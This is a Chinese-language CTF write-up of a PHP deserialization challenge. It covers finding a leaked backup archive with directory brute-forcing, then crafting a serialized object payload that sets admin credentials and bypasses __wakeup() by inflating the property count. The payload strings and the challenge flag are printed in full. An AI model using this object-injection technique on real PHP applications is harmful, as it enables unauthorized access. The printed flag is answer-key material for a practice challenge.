[極客大挑戰 2019]PHP 1

TazmiDev發表於2024-11-08

[極客大挑戰 2019]PHP 1

開啟檔案發現提示資訊“備份檔案”,檢視原始碼並未發現其他有效資訊

image-20241106132748508

採用dirsearch爆破目錄,找到www.zip檔案

image-20241106134957125

解壓zip,發現是原始碼洩露

image-20241106133239542

提交flag,發現不正確,看到index.php原始碼中有Get傳參,然後反序列化函式unserialize(),判斷為反序列化漏洞;

image-20241106133407703

檢視class.php可知,只要username=admin並且password=100,就能輸出flag

image-20241106134423198

於是構造反序列化payload

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);   
echo $res
?>

執行php方法序列化成字串,Name前後需要新增%00

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20241106135642585

作為select引數值,未能顯示出flag

image-20241106140221922

這是因為成員屬性數目大於實際數目2時才可繞過wakeup魔術方法,修改2為任意大於二的數字

O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20241106140350145

成功拿到flag

flag{2629c697-31da-4735-8e1f-978a34067a82}

tips.

unserialize();

方法解釋:
從已儲存的表示中建立 PHP 的值列化後的字串。
若被反序列化的變數是一個物件,在成功地重新構造物件之後,PHP 會自動地試圖去呼叫 __wakeup()成員函式(如果存在的話);

相關文章